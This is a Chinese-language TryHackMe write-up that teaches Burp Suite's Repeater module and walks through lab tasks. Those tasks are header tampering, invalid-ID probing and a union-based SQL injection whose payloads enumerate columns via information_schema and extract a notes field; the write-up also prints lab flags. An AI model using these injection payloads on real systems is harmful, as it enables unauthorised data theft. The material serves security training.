【THM】Burp Suite:Repeater(Burp Suite重放器·更新版)-学习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/burpsuiterepeater
本文相关内容:学习如何使用 Repeater 在 Burp Suite 中重发请求。
简介
在本文中,我们将重点关注Burp Suite Repeater模块以探索Burp Suite框架的高级功能,我们将学习如何使用该模块来操作和重新发送已经捕获的请求,并且将探索这个特殊模块中可用的各种选项和功能;此外,本文还会提供几个练习案例,从而巩固我们对于本文所讨论的概念的理解。
前置学习基础
在学习本文内容之前,建议先阅读并理解以下博客文章内容:
实验环境部署
我们可以在与本文相关的Tryhackme实验房间中一键部署目标虚拟机,并且我们还能在相关的THM实验房间中使用THM官方所提供的AttackBox来作为自己的攻击机,当然使用自己的本地kali机器作为攻击机也是可以的。
什么是Repeater?
在开始使用Burp Suite Repeater之前,让我们先来熟悉一下它的用途和功能。
简而言之,Burp Suite的Repeater模块允许我们修改Burp Proxy所拦截的请求并将其转发到目标服务器;这意味着我们可以通过Repeater获取在Burp Proxy中已捕获的请求,然后对请求的内容进行编辑,并能根据渗透测试需要多次重复发送相同的请求到目标服务器。
tips:当然,我们也可以选择手动创建请求消息,就像我们在CLI(命令行界面)中所做的那样,使用诸如cURL之类的工具可以手动构建和发送请求消息到目标站点。
这种能够多次编辑和重发请求消息的能力,使得Repeater模块适合任何类型的端点手工测试操作,Repeater为我们提供了一个图形用户界面(GUI),这个GUI包含了可供我们编写请求消息和响应消息的多个视图区域,以便我们可以清楚地看到我们手工操作的结果。
Repeater界面由六个主要部分组成:
-
请求列表:在Repeater选项卡界面的左上方,会显示所有Repeater请求列表,每当我们发送一个新的请求消息到Repeater中时,此处的请求列表就会增加。
-
请求控件:在请求列表的正下方,有一些可以控制当前请求消息的控件,这些控件允许我们发送请求、取消挂起的请求以及浏览历史请求记录。
-
请求和响应视图:在Repeater选项卡界面左边的大部分区域,可以看到请求视图和响应视图,我们可以在request视图中编辑请求消息,然后点击Send发送请求到目标站点,随后与请求消息相对应的响应消息就会显示在response视图中。
-
布局选项:在request&response视图的右上角处,有一组设置选项,能够允许我们更改请求视图和响应视图的布局;在默认情况下,请求视图和响应视图通常是并排显示(水平布局),但是我们也可以选择将这两个视图上下排列显示(垂直布局),或者将请求视图和响应视图组合在单独的选项卡中(组合视图)。
-
检查器:在Repeater选项卡界面的右侧,有一个Inspector界面,Inspector允许我们将请求消息(以及响应消息)分解,从而以一种更直观的方式来分析和编辑请求消息的内容。
-
目标:最后,在Inspector的上方,我们可以找到Target部分,Target就是我们所要发送的请求的目标IP地址或目标域,当我们从Burp Suite的其他部分发送请求消息到Repeater中时,Target中的字段将会自动填充。
答题
阅读本小节内容,并回答以下问题:
Repeater的基础用法
我们现在知道了Repeater选项卡的界面是什么样子,但是我们该如何使用它呢?
虽然我们可以选择手动创建请求消息,但是更常见的方法是使用Burp Proxy功能模块来捕获请求,然后将被捕获的请求消息发送到Repeater中进行编辑和重发。
在Burp Proxy中捕获到请求后,我们可以通过右键单击请求消息并选择“Send to Repeater”或者按下Ctrl + R
快捷键将请求消息发送到Repeater中:
现在,当我们切换到Repeater界面时,就可以在Repeater界面的请求视图中看到可用的请求消息:
如上图所示,我们可以看到Target区域和Inspector界面也显示了相关信息,但是我们还没有看到响应消息,所以我们可以选择点击"Send"按钮,然后响应视图部分就会被响应消息的内容快速填充:
如果我们想要修改请求消息的内容,我们可以直接在请求视图中进行信息修改,然后再次点击"Send"按钮,这将更新响应视图中的内容。例如,我们可以将上图请求中的"Connection"报头的值修改为"open
"而不是"close
",然后发送该请求,这样会导致响应消息中的"Connection"报头的值变为"keep-alive
":
tips:我们还可以使用"Send"按钮一栏最右侧的两个翻页按钮——向前或者向后浏览我们修改请求的历史记录。
答题
阅读本小节内容,并回答以下问题:
消息显示选项栏
Repeater为我们提供了各种选项来呈现请求消息与响应消息。
以响应消息为例,我们可以通过点击响应视图顶部的四个选项按钮来切换可用的消息显示格式:
我们有以下四个显示选项,它们可以决定响应消息的显示格式(这些选项同样适用于请求消息):
- Pretty(美化):这是默认选项,它会基于原始的响应消息而略微美化其内容格式,这将使得响应消息更容易被阅读;
- Raw(原始):此选项会显示来自于目标服务器的纯粹的、未经美化的响应消息;
- Hex(十六进制):该选项将以字节格式呈现原始的响应消息,这个选项在处理二进制文件时特别有用;
- Render(渲染):如果选择该选项,则会将响应消息渲染成一个可视化页面,这就像我们在浏览器中查看响应页面一样。
tips:对于大多数场景,使用Pretty选项通常就足够了,然而,熟悉其他三个选项的用法对于我们而言也是有益的。
在上述的"Render"选项右边有一个\n
按钮,\n
按钮的含义是"显示不可打印字符",它允许我们显示通常不会在Pretty格式(或者Raw格式)的视图中显示的字符;例如,如果我们在Pretty格式的响应视图中点击\n
按钮,那么响应消息中的每一行结尾都会显示\r\n
字符——即一个回车符后面跟着一个换行符,这些字符在HTTP头的解释中起着重要的作用。
答题
阅读本小节内容,并回答以下问题:
Inspector界面
在很多时候,Inspector是对Repeater模块中的Request视图和Response视图的补充,如果你足够了解如何阅读和编辑HTTP请求,那么你可能会发现你很少需要用到Inspector界面。
Inspector可以在Proxy模块和Repeater模块中使用,在这两种情况下,它都位于对应模块窗口的最右侧,并能为我们提供关于请求消息和响应消息的组件列表:
在上图所示的组件中,与请求消息相关的部分通常可以被修改,通过操作Inspector界面,我们可以添加、编辑和删除一个请求消息分解之后所产生的组件项目;例如,在请求消息的Request Attributes(请求属性)部分,我们可以编辑请求的Path、Method和Protocol——从而可以更改我们所要检索的资源、将GET方法更改为另一种HTTP方法、将协议从HTTP/1切换到HTTP/2:
在Inspector界面中,除了上面所介绍的Request Attributes部分之外,其他可供我们查看和编辑的部分还包括:
- Request Query Parameters:"请求查询参数",此处会引用通过URL发送到服务器的数据;如在
https://admin.tryhackme.com/?redirect=false
之类的GET请求中,有一个名为"redirect"的"请求查询参数",其值为"false"。 - Request Body Parameters:"请求主体参数",它的功能与"请求查询参数"类似,但它特定用于POST请求,我们在POST请求中作为数据发送的内容都将显示在这个"请求主体参数"中,我们可以在重新发送请求之前修改参数。
- Request Cookies:"请求cookies",此部分会包含一个伴随每个请求而被发送的可修改的cookie的列表。
- Request Headers:"请求标头",此部分允许我们查看、访问和修改(包括添加或删除)与我们的请求一起被发送的任何标头;在检查Web服务器会如何响应意外的标头信息时,编辑"请求标头"的内容非常有用。
- Response Headers:"响应标头",此部分将显示Web服务器在响应我们的请求时所发回的标头信息,这部分内容不能被编辑(因为我们不能控制目标服务器将返回给我们什么标头);请注意,"响应标头"的内容仅在我们向目标Web服务器发送请求并且收到响应后才会显示。
tips:虽然Inspector界面中组件的文本表示也可以在请求视图和响应视图中找到,但是Inspector的表格格式为我们提供了一种方便的方式来可视化“消息组件”并与其进行交互;通过使用Inspector,我们可以针对请求消息的相关组件执行字段修改、添加和删除操作,并能查看原始的响应消息会发生什么变化。
答题
阅读本小节内容,并回答以下问题:
tips:Request Body Parameters-"请求主体参数"。
简单示例练习
Repeater允许我们多次发送类似的请求(通常需要对请求进行少量修改)到目标服务器,通过使用Repeater:可以手动测试SQL注入漏洞、尝试绕过Web应用程序的防火墙过滤器、在提交表单时调整相关的参数......
现在,让我们从一个简单的示例开始练习:使用Repeater更改请求消息的标头并发送给目标站点。
答题
首先在和本文相关的TryHackMe实验房间中启动目标机器。
在本地Kali机上启动Burp Suite,激活Burp代理插件(浏览器插件)并启用Burp Proxy的拦截功能,然后在浏览器中访问目标站点——在成功抓取到相关请求包之后,我们再将其发送给Repeater模块:
使用Repeater模块的Inspector界面(或者直接在请求视图中手动操作),在请求消息中添加一个名为FlagAuthorised的标头,并将其值设置为True:
#Headers with FlagAuthorised Added
GET / HTTP/1.1
Host: 10.10.7.11
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
FlagAuthorised: True
点击上图中的Send按钮,然后查看响应消息中的flag信息:
flag内容为:THM{Yzg2MWI2ZDhlYzdlNGFiZTUzZTIzMzVi} 。
挑战任务练习
停用Burp代理,访问目标网站页面http://10.10.107.186/products/
,并尝试点击"See More"链接:
从上图可以看到,我们会被重定向到一个数字端点(如/products/3
),这个端点通常需要验证,以确保我们所尝试导航到的端点是存在的,并且端点所对应的数字需要是一个有效整数;如果目标服务器并没有对数字端点进行充分验证,那么目标网站就可能存在安全风险。
答题
tips:本小节的思路是输入意外的端点值以查看服务器将如何响应,例如,我们可以输入一段文字或符号作为端点值,也可以尝试输入一个大于可用产品数量的数字作为端点值,或者输入一个小于或等于 0 的数字作为端点值。
激活Burp代理插件并开启Burp Proxy拦截功能,尝试捕获一个针对目标站点的products
页面的包含端点的请求,然后将其转发给Repeater进行修改,我们将请求消息中的端点数值修改为-1,然后点击Send按钮继续发送请求消息:
flag的内容为:THM{N2MzMzFhMTA1MmZiYjA2YWQ4M2ZmMzhl} 。
综合练习-测试SQLi漏洞
本小节任务:
目标网站的/about/ID
端点页面中的ID参数存在联合SQL注入漏洞,我们需要使用Burp Suite找到此SQL漏洞,然后执行SQLi攻击以检索一个存储在数据库中的关于CEO的注释。
答题
激活Burp代理插件并开启Burp Proxy拦截功能,在攻击机上的浏览器中访问 http://10.10.107.186/about/2 ,捕获相关请求并将其发送给Repeater:
现在我们可以对请求消息进行修改测试,为了验证目标页面是否存在SQLi漏洞,我们在端点参数后添加'
符号,如果服务器响应"500 Internal Server Error",则表明我们成功中断了SQL查询:
#Request Headers
GET /about/2' HTTP/1.1
Host: 10.10.107.186
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
#Response Headers from the Server
HTTP/1.1 500 INTERNAL SERVER ERROR
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 23:05:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3101
我们可以查看并分析目标服务器所响应的消息内容,在第 40 行左右,我们可以看到目标服务器返回了过多的提示信息(关于错误的SQL查询):
#Overly verbose error message showing the query
<h2>
<code>Invalid statement:
<code>SELECT firstName, lastName, pfpLink, role, bio FROM people WHERE id = 2'</code>
</code>
</h2>
通过上图中的提示信息,我们可以获取到以下关键点:
- 与上述页面相关的SQL查询将基于服务器数据库中的
people
表进行查询; - 该SQL查询在
people
表中选中了五列:firstName
、lastName
、pfpLink
、role
以及bio
;
有了以上这些信息,我们就可以跳过枚举表名和查询部分列名的步骤,但是我们仍然需要找到我们的目标列的名称(以上五列并非是people表的全部列)。
我们可以使用联合查询——选择在默认数据库information_schema
的columns
表中查询列名,并指定我们要查询的列属于people
表。
相关查询语句如下:
/about/0 UNION ALL SELECT column_name,null,null,null,null FROM information_schema.columns WHERE table_name="people"
上面的SQL语句将创建一个联合查询,这将选择我们所指定的列然后是四个空列(因为UNION
关键字前后所查询的列数必须相同,添加空列可避免查询出错)。
tips:在上面的查询语句中,我们还将ID值由 2 更改为 0(将ID设置为无效值),这可以确保目标服务器只对UNION
关键字后面的查询进行响应。
#The "id" column name in the title of the response
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 16 Aug 2021 22:12:36 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Front-End-Https: on
Content-Length: 3360
<!DOCTYPE html>
<html lang=en>
<head>
<title>
About | id None
</title>
-----
我们成功地从数据库中取出了第一个列名,但是现在页面只显示第一个匹配项——我们需要看到所有匹配项;因此接下来我们可以使用group_concat()
函数,这能够将所有列名合并为一个输出:
/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM information_schema.columns WHERE table_name="people"
我们成功地识别了people
表中的八列:id
, firstName
, lastName
, pfpLink
, role
, shortRole
, bio
和notes
。
考虑到我们在本小节中的任务要求,我们想找的目标列应该是notes
。
最后,我们要从服务器数据库中提取flag值——我们现在已经有了所需要的全部信息:
- 表名:
people
; - 目标列的名称:
notes
; - CEO对应的ID值应该为:
1
(这可以通过在/about/
页中点击Jameson Wolfe的个人资料,并检查URL中的ID找到)。
让我们构建一个完整的payload来提取flag内容:
0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1
flag的内容为:THM{ZGE3OTUyZGMyMzkwNjJmZjg3Mzk1NjJh} 。